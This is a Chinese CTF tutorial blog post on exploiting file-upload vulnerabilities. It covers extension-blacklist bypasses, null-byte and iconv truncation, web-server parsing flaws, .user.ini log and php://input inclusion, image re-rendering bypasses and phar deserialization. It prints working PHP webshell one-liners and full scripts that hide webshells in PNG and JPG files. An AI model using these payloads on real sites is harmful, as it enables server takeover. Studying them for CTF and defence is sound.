分享

CTFWEB-文件上传篇

 zZ华 2023-10-11 发布于广东

前言由于我学习时使用的ctf平台是内部环境,不便公开,所以本文章只讲述做题思路和方法,练习平台大家自行选择,可以使用在线的ctf平台如:ctfshow、buuctf、bugkuctf等,也可以使用网上公开的靶场upload-labs学习。

Web题目做题思路

第一步

拿到题目后,判断题目利用的漏洞方式为读取、写入、还是执行。在不能马上确定的情况下,就由从低到高,依次挖掘,即先找文件读取、再找文件写入、再找命令执行。这一步先确定出最终要拿到的权限,确定渗透方向。

第二步

判断漏洞的大概类型,或者题目大概的考点,比如,有登入框,就测试sql注入更具题目网站提供的功能点和网站的组件进行判断。这样一步步确定具体的利用思路,实现漏洞利用。

第三步

寻找敏感数据,拿到最终flag。

什么是文件上传漏洞?

如果对文件上传路径变量过滤不严,并且对用户上传的文件后缀以及文件类型限制不严,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。

所以一般需注意:

在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件 限制相关目录的执行权限,防范 webshell 攻击

危害就是上传网站后门文件(获取webshell)

注意ctf中的文件上传题目大多数都为黑盒测试,做题流程通常都为一个个方法测试进行推测,所以本篇文章中的所有解题思路都有可能用上。

网站检测机制与防护手段

通常网站的检测机制是检查文件后缀,检查后缀分为两种情况

白名单过滤:白名单过滤就是只允许上传它指定的文件后缀如:png、.jpg等,这种过滤在没有其他漏洞辅助的情况下几乎不可能绕过。

黑名单过滤: 顾名思义就是不允许上传它指定的文件后缀,如php,phtml,phps,php3/4/5/6/7这种能解析php脚本的文件后缀,这种主要看他的黑名单写的全不全,因为有很多种办法能解析php。

关键字替换双写绕过

原理服务端对黑名单中的内容进行处理,且仅处理一次,比如说使用str_replace()函数(函数具体使用自行了解),所以可以通过双写后缀绕过。

使用brup抓包,我们直接上传一个1.php

Image

可以看到返回结果php被去空了,当时文件还是上传了,那么我们尝试使用双写绕过1.pphphp

Image

看到文件上传成功,我们用蚁剑连接即可

Image

如果php后缀替换为txt时,我们无法双写绕过,1.pphphp  1.ptxthp

php文件上传的00截断

其实截断的原理也很简单,无论0x00还是%00,最终被解析后都是一个东西:chr(0)

chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。

那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。

那么就可以知道00截断的原理了,在后缀中插入一个空字符(不是空格),会导致之后的部分被丢弃,而导致绕过的发生。

如:在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php,而空字符怎么插入的呢?

通常我们会用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00(即16进制ASCII码00,对应十进制的0),就可以插入空字符了

这个漏洞比较老条件比较苛刻就不演示了

00字符截断需要的版本

php版本小于5.3.4  而最新的php版本已经达到8.1

java版本小于7u40,而最新的java版本已经达到20以上

iconv字符转换异常后造成了字符截断

php在文件上传场景下的文件名字符集转换时,可能出现截断问题

utf-8字符集  默认的字符编码范围的是0x00-0x7f  

iconv转换的字符不在上面这个范围之内,低版本的php会报异常,报了异常以后,后续字符不再处理

就会造成截断问题

123.php%df.jpg   123.php

iconv截断需要的版本

php版本低于5.4才可以使用  

黑名单后缀绕过

黑名单绕过的思路就是使用其它可以使网站解析的文件后缀,以php为例,比如:php3,php4,php5,phtml等,这里放张表

语言

可解析后缀

ASP/ASPX

asp,aspx,asa,ascx,ashx,asmx,cer,cdx

PHP

php,php5,php4,php3,phtml,pht

JSP

jsp,jspx,jspa,jsw,jsv,jspf,jtml

就替换个后缀,这里不多说

文件内容检测

文件内容检测常见的有:文件头检测、php标签检测、命令函数检测、传参方式检测。

文件头检测

文件类型后缀文件头文件尾标志
JPEG.jpg/.jpegFFD8FFFFD9JFIF
PNG.png89504E47AE426082PNG IEND IHDR
GIF.gif47494638003BGIT9a
TIFF.tif/.tiff49492A004D4D2A00- II MM

php标签检测

使用其他php能解析的标签

比如<?= echo 123; ?>这种短标签

命令函数检测

如果检测eval之类的,用assert即可,有很多能使用,一个个尝试即可

传参方式检测

比如不允许出现post,get,可以使用cookie之类的绕过

上传一句话写有一句话木马的.txt,提示

Image

这时我们要更改关键字来判断它检测了哪些内容,经过多次测试最后内容为

<?=eval($_COOKIE[1]);

上传我们的1.txt和.user.ini

然后给网站添加cookie

name=1
value=eval(base64_decode('cGhwaW5mbygpOw=='))?>

因为直接写phpinfo不行,所以我们所以base64编码一下,再解码

Image

web服务器的解析漏洞绕过

iis

IIS6.0有2种解析漏洞

1.  目录解析

以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。

2. 文件解析

*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。

apache

多后缀解析漏洞

当我们上传apache不认识的后缀时,apahce会继续往前找后缀,找到认识的就解析执行,列如:

123.txt.ctfshow  123.txt  文本文档形式解析

123.php.ctfshow  123.php  就交给中间件处理php脚本

nginx

基于错误的nginx配置 和 php-fpm配置,当我们访问  123.txt/123.php

 我们上传一个1.txt

Image

上传成功然后访问/upload/1.txt/1.php

Image

cgi.fix_pathinfo 默认开启  123.txt/123.php  当123.php不存在时,会找/前面的文件进行php解析,这时候,就成功解析了123.txt为php脚本了

.user.ini使用

如果黑名单没有限制.user.ini是可以造成非常大的危害的

我们先上传一个.user.ini文件,文件内容是包含一个1.txt

auto_append_file=123.txt

然后上传123.txt

<?php eval($_POST[1]);?>

然后访问index.php即可

Image

.user.ini高级玩法

.user.ini搭配伪协议

我们拿到题目,还是老样子上传1.txt,发现存在内容检测,经过多次尝试,发现过滤了<?,于是尝试一下<script language='php'></script>这个标签,发现能上传,但是不解析,所以包含其他文件这条路就堵死了,我们知道.user.ini可以包含文件,但其实只要环境支持伪协议,我们也是可以包含伪协议的

.user.ini
auto_append_file=php://input

Image

.user.ini包含日志文件

还是上传.user.ini文件,包含日志文件。

nginx
var/log/nginx/access.log

Image

上传html来xss 执行跨站脚本

这个就是没过滤html后缀文件导致xss,其实还有个更骚的思路,直接上传一个写有文件上传功能的html文件,然后访问,在自己上传的html里上传一个shell文件,达成getshell的目的

getimagesize函数绕过

getimagesize函数来检测是不是图片,而不采取其他措施的情况下,如果一旦绕过getimagesize函数,就可以实现任意文件上传

XBM 格式图片

#define %s %d 这种形式,就认为时XBM图片的高或者宽

.user.ini#define width 100;#define height 100;auto_append_file=/var/log/nginx/access.log

Image

看到文件上传成功,我们访问index.php

Image

图片二次渲染绕过

png

顾名思义,就是对我们上传的png文件通过imagepng方法来,来动态依据我们上传的图片的二次生成一个png图片,这样里面的php代码就会被清洗掉

我们先随便上传个文件,发现url有个image=尝试文件包含发现可以

Image

那我们用我们的脚本生成一个png文件

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>

图片生成后上传,显示查看图片,发现图片不一样,经过了二次渲染

Image

Image

gif

对于gif图片,gif图片的特点是无损(修改图片后,图片质量几乎没有损失),我们可以对比上传前后图片的内容字节,在渲染后不会被修改的部分插入木马。对比工具可以使用burp,也可以使用010编辑器(更直观一点)

jpg

直接上脚本,由于jpg图片易损,对图片的选取有很大关系,很容易制作失败

<?php $miniPayload = '<?=phpinfo();?>';

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); }
if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); }
set_error_handler('custom_error_handler');
for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE;
if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); }
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat('\0',$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat('\0',$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; }
function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } }
class DataInputStream { private $binData; private $order; private $size;
public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); }
public function seek() { return ($this->size - strlen($this->binData)); }
public function skip($skip) { $this->binData = substr($this->binData, $skip); }
public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); }
public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; }
public function eof() { return !$this->binData||(strlen($this->binData) === 0); } }?>

运行脚本命令:

jpg_payload.php 1.jpg

phar文件上传绕过

什么是phar

JAR是开发java程序一个应用,包括所有的可执行、可访问的文件都打包进了一个JAR文件里,使得部署过程十分简单。phar是php里类似与JAR的一种打包文件。对于PHP5.3或更高版本。Phar后缀文件是默认开启支持的,可以使用它。

Phar结构

stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。

manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。

content:被压缩文件的内容

signature (可空):签名,放在末尾。

注意:Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

phar文件上传绕过的本质就是phar反序列化,只不过是需要文件上传点,这个条件是非常苛刻的,要对方存在文件上传,存在文件包含并且支持phar伪协议,存在反序列化漏洞。

直接看题吧

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
#大致意思就是我们要反序列化触发__destruct()方法,就会输出flag
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//post接受一个文件名,如果存在会返回文件的md5值
//upload.php 文件上传页面
?>

我这里不对代码进行过多的讲解了,看注释。

解题步骤:1.生成一个phar文件-->2.在mate-data里放置一个包含TestObject()的序列号字符串-->3.上传文件-->4.md5_file执行phar伪协议,触发反序列化-->5.反序列化TestObject()触发__destruck执行echo $flag

生成phar文件

<?php
class TestObject{
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString('test.txt','test'); //添加要压缩的文件
$phar->stopBuffering();
?>

我生成phar的环境使用的是

Image

要在php.ini中修改在这个

Image

然后访问文件,生成phar包,由于有对文件后缀进行白名单过滤,所有修改文件后缀伪jpg

Image

上传文件

Image

包含文件,读取flag

Image

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多